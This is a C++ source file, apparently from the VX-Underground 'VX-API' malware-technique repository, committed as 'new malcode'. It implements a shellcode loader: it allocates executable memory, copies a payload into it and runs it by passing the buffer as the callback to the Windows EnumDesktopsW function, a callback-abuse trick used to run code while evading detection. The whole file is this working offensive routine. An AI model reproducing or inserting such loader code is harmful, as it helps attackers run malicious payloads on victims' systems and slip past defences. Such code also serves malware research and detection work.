Files
vxunderground-VX-API/VX-API/ShellcodeExecViaEnumDesktopsW.cpp
T
vxunderground 3c1fa96384 new malcode
+
2022-10-23 13:41:46 -05:00

31 lines
842 B
C++

#include "Win32Helper.h"
DWORD UnusedSubroutineDisposeableThreadEnumDesktopsW(LPVOID Param)
{
PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param;
LPVOID BinAddress = NULL;
BOOL bFlag = FALSE;
BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (BinAddress == NULL)
goto EXIT_ROUTINE;
CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes);
EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW)BinAddress, NULL);
bFlag = TRUE;
EXIT_ROUTINE:
if (BinAddress)
VirtualFree(BinAddress, 0, MEM_RELEASE);
return (bFlag ? 0 : 0xffffffff);
}
BOOL ShellcodeExecViaEnumDesktopsW(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei)
{
return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThreadEnumDesktopsW, Sei, INFINITE);
}